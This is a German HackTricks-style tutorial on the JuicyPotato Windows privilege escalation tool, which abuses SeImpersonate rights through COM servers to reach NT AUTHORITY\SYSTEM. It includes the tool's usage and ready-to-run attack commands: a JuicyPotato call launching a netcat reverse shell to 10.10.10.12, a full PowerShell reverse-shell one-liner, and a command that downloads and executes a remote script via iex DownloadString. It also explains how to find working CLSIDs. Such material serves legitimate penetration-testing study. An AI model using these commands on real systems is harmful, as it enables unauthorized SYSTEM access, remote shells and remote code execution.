12 KiB
JuicyPotato
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks-Repository und das hacktricks-cloud-Repository senden.
{% hint style="warning" %}
JuicyPotato funktioniert nicht unter Windows Server 2019 und Windows 10 Build 1809 und höher. Jedoch können PrintSpoofer, RoguePotato, SharpEfsPotato verwendet werden, um die gleichen Berechtigungen zu nutzen und Zugriff auf NT AUTHORITY\SYSTEM
zu erlangen. Überprüfen Sie:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (Ausnutzung der goldenen Berechtigungen)
Eine gesüßte Version von RottenPotatoNG, mit einem Schuss Saft, d.h. ein weiteres Tool zur Eskalation der lokalen Berechtigungen, von einem Windows-Dienstbenutzer zu NT AUTHORITY\SYSTEM
Sie können JuicyPotato von https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts herunterladen
Zusammenfassung
RottenPotatoNG und seine Varianten nutzen die Eskalationskette der Berechtigungen basierend auf dem BITS
-Dienst, der den MiTM-Listener auf 127.0.0.1:6666
hat und wenn Sie SeImpersonate
- oder SeAssignPrimaryToken
-Berechtigungen haben. Bei einer Überprüfung des Windows-Builds haben wir eine Konfiguration gefunden, bei der BITS
absichtlich deaktiviert war und der Port 6666
belegt war.
Wir haben uns entschieden, RottenPotatoNG zu weaponisieren: Sagen Sie hallo zu Juicy Potato.
Für die Theorie siehe Rotten Potato - Privilege Escalation von Service Accounts zu SYSTEM und folgen Sie der Kette von Links und Referenzen.
Wir haben entdeckt, dass es neben BITS
noch mehrere COM-Server gibt, die wir missbrauchen können. Sie müssen nur:
- instanziierbar durch den aktuellen Benutzer sein, normalerweise ein "Service-Benutzer", der Übernahmeberechtigungen hat
- das
IMarshal
-Interface implementieren - als erhöhter Benutzer (SYSTEM, Administrator, ...) ausgeführt werden
Nach einigen Tests haben wir eine umfangreiche Liste von interessanten CLSID's auf mehreren Windows-Versionen erhalten und getestet.
Saftige Details
JuicyPotato ermöglicht es Ihnen:
- Ziel-CLSID wählen Sie eine beliebige CLSID aus. Hier finden Sie die Liste nach Betriebssystemen sortiert.
- COM-Listening-Port definieren Sie den bevorzugten COM-Listening-Port (anstelle des fest codierten 6666)
- COM-Listening-IP-Adresse binden Sie den Server an eine beliebige IP
- Prozesserstellungmodus je nach Übernahmeberechtigungen des übernommenen Benutzers können Sie auswählen:
CreateProcessWithToken
(benötigtSeImpersonate
)CreateProcessAsUser
(benötigtSeAssignPrimaryToken
)beide
- Zu startender Prozess starten Sie eine ausführbare Datei oder ein Skript, wenn die Ausnutzung erfolgreich ist
- Prozessargument passen Sie die Argumente des gestarteten Prozesses an
- RPC-Serveradresse für einen unauffälligen Ansatz können Sie sich an einen externen RPC-Server authentifizieren
- RPC-Serverport nützlich, wenn Sie sich an einen externen Server authentifizieren möchten und die Firewall den Port
135
blockiert... - TEST-Modus hauptsächlich für Testzwecke, d.h. zum Testen von CLSID's. Es erstellt den DCOM und gibt den Benutzer des Tokens aus. Siehe hier zum Testen
Verwendung
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Abschließende Gedanken
Wenn der Benutzer über die Berechtigungen SeImpersonate
oder SeAssignPrimaryToken
verfügt, sind Sie SYSTEM.
Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Sie könnten darüber nachdenken, die Berechtigungen dieser Objekte über DCOMCNFG
zu ändern, aber viel Glück, das wird eine Herausforderung sein.
Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den * SERVICE
-Konten ausgeführt werden. Das Stoppen von DCOM
würde sicherlich diesen Exploit behindern, könnte jedoch ernsthafte Auswirkungen auf das zugrunde liegende Betriebssystem haben.
Von: http://ohpe.it/juicy-potato/
Beispiele
Hinweis: Besuchen Sie diese Seite für eine Liste von CLSIDs, die Sie ausprobieren können.
Erhalten Sie eine umgekehrte Shell mit nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell Rückverbindung
Powershell bietet eine leistungsstarke Möglichkeit, eine Rückverbindung zu einem entfernten System herzustellen. Dies kann nützlich sein, um eine Remote-Shell auf einem Zielcomputer zu erhalten und verschiedene Aktionen auszuführen.
Um eine Powershell-Rückverbindung herzustellen, können Sie den folgenden Befehl verwenden:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('IP-Adresse', Port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
Ersetzen Sie "IP-Adresse" durch die IP-Adresse des Zielcomputers und "Port" durch den gewünschten Port für die Rückverbindung.
Nachdem Sie den Befehl ausgeführt haben, wird eine Rückverbindung zum Zielcomputer hergestellt und Sie erhalten eine Powershell-Shell, mit der Sie Befehle ausführen können.
Bitte beachten Sie, dass das Herstellen einer Rückverbindung zu einem entfernten System ohne Zustimmung des Eigentümers illegal sein kann. Stellen Sie sicher, dass Sie über die erforderlichen Berechtigungen verfügen, bevor Sie diese Technik anwenden.
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Starten Sie eine neue CMD (wenn Sie RDP-Zugriff haben)
CLSID-Probleme
Oftmals funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, nicht und der Exploit schlägt fehl. In der Regel sind mehrere Versuche erforderlich, um eine funktionierende CLSID zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, sollten Sie diese Seite besuchen:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Überprüfen von CLSIDs
Zunächst benötigen Sie einige ausführbare Dateien neben juicypotato.exe.
Laden Sie Join-Object.ps1 herunter und laden Sie es in Ihre PS-Sitzung. Laden Sie dann GetCLSID.ps1 herunter und führen Sie es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen.
Laden Sie dann test_clsid.bat herunter (ändern Sie den Pfad zur CLSID-Liste und zur juicypotato-Ausführungsdatei) und führen Sie es aus. Es wird versuchen, jede CLSID auszuführen, und wenn sich die Portnummer ändert, bedeutet dies, dass die CLSID funktioniert.
Überprüfen Sie die funktionierenden CLSIDs mit dem Parameter -c
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersecurity-Unternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks als PDF-Download haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo einreichen.